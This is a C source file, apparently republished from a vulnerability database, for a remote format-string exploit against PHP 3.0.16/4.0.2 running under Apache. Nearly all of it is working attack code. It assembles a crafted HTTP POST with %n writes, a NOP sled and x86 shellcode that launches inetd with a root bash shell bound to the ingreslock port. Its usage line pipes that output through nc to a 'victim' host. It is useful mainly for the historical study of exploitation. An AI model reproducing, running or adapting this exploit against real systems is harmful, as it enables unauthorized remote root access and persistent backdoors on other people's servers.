/*
* PHP 3.0.16/4.0.2 remote format overflow exploit.
* Copyright (c) 2000
* Field Marshal Count August Anton Wilhelm Neithardt von Gneisenau
* [email protected]
* my regards to sheib and darkx
* All rights reserved
* Pascal Boucheraine's paper was enlightening
* THERE IS NO IMPLIED OR EXPRESS WARRANTY FOR THIS CODE.
* YOU ARE RESPONSIBLE FOR YOUR OWN ACTIONS AND I CANNOT BE HELD RESPONSIBLE
* FOR THE CONSEQUENCES
* Usage:
* phpxpl -sx -uwww.victim.com/some.php3 | nc www.victim.com 80
*
* Slackware 7.0: eip address/shellcode address
* 0xbfff9b90/0xbfff958c
*
*/
/*
* We just printf the shellcode and stuff and nc it to the target
*/
#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// this exploit does not like 0x0a = '\n' in the shellcode. also the NULL at
// the end of the shellcode will be removed as the shellcode is probably
// strcatted into the buffer. so do it again in the shellcode.
/*
* This shellcode is for Linux/x86.
* This shellcode spawns a shell and runs the command
* echo 'ingreslock stream tcp nowait root /bin/bash bash -i'>/tmp/.inetd.conf; /usr/sbin/inetd /tmp/.inetd.conf
*/
char shellcode[] = {
0xeb,0x41,
0x5e,
0x31,0xc0,
0x31,0xdb,
0xb0,0xa0,
0x89,0x34,0x06,
0x8d,0x4e,0x07,
0x88,0x19,
0x41,
0x41,
0xb0,0xa4,
0x89,0x0c,0x06,
0x8d,0x4e,0x0b,
0x88,0x19,
0x41,
0xb0,0xa8,
0x89,0x0c,0x06,
0x8d,0x4e,0x7f,
0x88,0x19,
0x31,0xd2,
0xb0,0xac,
0x89,0x14,0x06,
0x89,0xf3,
0x89,0xf1,
0xb0,0xa0,
0x01,0xc1,
0xb0,0x0b,
0xcd,0x80,
0x31,0xc0,
0xb0,0x01,
0x31,0xdb,
0xcd,0x80,
0xe8,0xba,0xff,0xff,0xff,
0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0xff,0xff, /* the string "/bin/sh" */
0x2d,0x63,0xff, /* the string "-c" */
0x2f,0x62,0x69,0x6e,0x2f,0x65,0x63,0x68,0x6f,0x20,0x27,0x69,
0x6e,0x67,0x72,0x65,0x73,0x6c,0x6f,0x63,0x6b,0x20,0x73,0x74,
0x72,0x65,0x61,0x6d,0x20,0x74,0x63,0x70,0x20,0x6e,0x6f,0x77,
0x61,0x69,0x74,0x20,0x72,0x6f,0x6f,0x74,0x20,0x2f,0x62,0x69,
0x6e,0x2f,0x62,0x61,0x73,0x68,0x20,0x62,0x61,0x73,0x68,0x20,
0x20,0x2d,0x69,0x27,0x3e,0x2f,0x74,0x6d,0x70,0x2f,0x2e,0x69,
0x6e,0x65,0x74,0x64,0x2e,0x63,0x6f,0x6e,0x66,0x3b,0x20,0x2f,
0x75,0x73,0x72,0x2f,0x73,0x62,0x69,0x6e,0x2f,0x69,0x6e,0x65,
0x74,0x64,0x20,0x2f,0x74,0x6d,0x70,0x2f,0x2e,0x69,0x6e,0x65,
0x74,0x64,0x2e,0x63,0x6f,0x6e,0x66,0x00,
};
#define NOP 0x90
/*
* the PHP3 error buffer will already contain PHP 3 Warning: The Content-Type
* string was "multipart/form-data. This is 66 bytes long. we send 2 spaces
* for padding the addresses we embed in our attack buffer on word boundary
*/
#define PHP3_WARNING 68
#define BUF_LEN 1024
struct system_type {
char *name;
unsigned int nop;
char *shellcode;
int shellcode_len;
int offset; /* the number of pops we need to get to our own data*/
int already_written; /* number of bytes written by printf by the time we reach the our embedded data */
unsigned int eip_address; /* address where shellcode_address must be put */
unsigned int shellcode_address; /* address of shellcode in memory */
};
struct system_type systems[] = {
{
"Slackware Linux 7.0 - i386/Apache 1.3.12/PHP 3.0.16 (static module)",
0x90,
shellcode,
270, /* not exact but we got lots of space ;) */
27,
0x152,
0xbfff9c30,
0xbfff962c,
},
// somebody find these and fill it in please. should be
// straightforward.
{
"Red Hat 6.0 - i386/Apache 1.3.13/PHP 3.0.16 (static module)",
(unsigned int)NULL,
NULL,
(int)NULL,
(int)NULL,
(int)NULL,
(unsigned int)NULL,
(unsigned int)NULL,
},
{
NULL,
(unsigned int)NULL,
NULL,
(int)NULL,
(int)NULL,
(int)NULL,
(unsigned int)NULL,
(unsigned int)NULL,
},
};
void usage (void);
void parse_url (char *, char *);
void prepare_attack_buffer (char *, struct system_type *, char *);
int calculate_precision (unsigned int, int);
int
main (int argc, char *argv[])
{
char attack_buffer[2000]; // we construct the shellcode and stuff here
// the target is 1024 bytes long
struct system_type *sysptr;
char *url; // i hope these things dont get bigger than this
char target[2048]; // target will contain only the FQDN
unsigned int eip_address = 0, shellcode_address = 0;
int ctr = 0;
int nop_count;
char *walk;
int arg;
// at least expect a system type and url from the command line
if (argc < 3)
usage ();
// parse arguments
while ((arg = getopt (argc, argv, "s:u:e:h:")) != -1){
switch (arg){
case 'h':
sscanf (optarg, "%x", &shellcode_address);
break;
case 'e':
sscanf (optarg, "%x", &eip_address);
break;
case 's':
sysptr = &systems[atoi (optarg)];
break;
case 'u':
url = optarg;
parse_url (url, target);
break;
case '?':
default :
usage ();
}
}
if (eip_address)
sysptr->eip_address = eip_address;
if (shellcode_address)
sysptr->shellcode_address = shellcode_address;
prepare_attack_buffer (attack_buffer, sysptr, url);
// as of now write it out to stdout. later write it to a socket
write (STDOUT_FILENO, attack_buffer, sizeof (attack_buffer));
}
void
prepare_attack_buffer (char *attack_buffer, struct system_type *system,
char *url)
{
int dest_buffer_written; /* we keep track of how much bytes will be written in the destination buffer */
int ctr;
char *address;
char buf[25]; // temp buffer for %xd%n%xd%n%xd%n%xd%n
// where x is precision
int p1,p2,p3,p4;
int nop_count;
bzero (attack_buffer, 2000);
sprintf (attack_buffer, "POST http://%s HTTP/1.0\nConnection: close\nUser-Agent: tirpitz\nContent-Type: multipart/form-data ", url);
// mark strlen here. whatever we write after here appears in the buffer
dest_buffer_written = strlen (attack_buffer);
strcat (attack_buffer, "\x11\x11\x11\x11");
address = (char *)&system->eip_address;
strncat (attack_buffer, address, 4);
strcat (attack_buffer, "\x11\x11\x11\x11");
system->eip_address++;
address = (char *)&system->eip_address;
strncat (attack_buffer, address, 4);
strcat (attack_buffer, "\x11\x11\x11\x11");
system->eip_address++;
address = (char *)&system->eip_address;
strncat (attack_buffer, address, 4);
strcat (attack_buffer, "\x11\x11\x11\x11");
system->eip_address++;
address = (char *)&system->eip_address;
strncat (attack_buffer, address, 4);
/*
* we need to add %x corresponding to the number of pops we need to reach
* our embedded addresses we defined above
*/
for (; system->offset; system->offset--)
strcat (attack_buffer, "%x ");
p1 = calculate_precision ((system->shellcode_address & 0x000000ff), system->already_written);
p2 = calculate_precision ((system->shellcode_address & 0x0000ff00) >> 8, system->already_written);
p3 = calculate_precision ((system->shellcode_address & 0x00ff0000) >> 16, system->already_written);
p4 = calculate_precision ((system->shellcode_address & 0xff000000) >> 24, system->already_written);
sprintf (buf, "%%%dd%%n%%%dd%%n%%%dd%%n%%%dd%%n", p1, p2, p3, p4);
strcat (attack_buffer, buf);
ctr = strlen (attack_buffer);
dest_buffer_written = ctr - dest_buffer_written;
dest_buffer_written += PHP3_WARNING; // dest_buffer_written now contains the number of bytes the PHP_WARNING and then the 8 4 byte values and then the %x to pop off the stack
attack_buffer += ctr;
nop_count = BUF_LEN - dest_buffer_written - system->shellcode_len;
memset (attack_buffer, NOP, nop_count);
/*
* Add our shellcode at last
*/
attack_buffer += nop_count;
strcat (attack_buffer, shellcode);
strcat (attack_buffer, "\n");
strcat (attack_buffer, "Content-Length: 1337\n\n");
}
void
usage (void)
{
int ctr;
fprintf (stderr, " Apache/PHP xploit\n");
fprintf (stderr, " Field Marshal Count August Anton Wilhelm Neithardt von Gneisenau\n");
fprintf (stderr, " for the r00tcrew\n");
fprintf (stderr, " All rights reserved\n");
fprintf (stderr, "\nUsage:\n");
fprintf (stderr, "phpxpl -u url -s systype [ -e eip address ] [ -h shellcode address ]\n\n");
fprintf (stderr, "url: the complete url including FQDN and script on the server\n");
fprintf (stderr, " www.victim.com/info.php3\n");
fprintf (stderr, "available systypes:\n");
for (ctr = 0; systems[ctr].name; ctr++)
fprintf (stderr, "%d. %s\n", ctr, systems[ctr].name);
fprintf (stderr, "eip address: the address which the xploit overwrites with buffer address (specify thus 0xbfff9c30) \n");
fprintf (stderr, "shellcode address: the address which points to the NOPs (specify thus 0xbfff962c)\n");
fprintf (stderr, "\n");
exit (1);
}
void
parse_url (char *url, char *target)
{
char *ptr;
strcpy (target, url);
if (!(ptr = index (target, '/'))){
fprintf (stderr, "invalid url. specify the script name on the target server too\n");
exit (1);
}
*ptr = '\0';
}
/*
* addr_byte contains the byte we need to write out. for example: 2c in
* 0xbfff962c, then 96, ff and bf.
*/
int
calculate_precision (unsigned int addr_byte, int already_written_init)
{
static int already_written = 0;
int tmp;
if (!already_written)
already_written = already_written_init;
while (addr_byte < already_written)
addr_byte += 0x100;
tmp = addr_byte - already_written;
already_written = addr_byte;
return tmp;
}
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation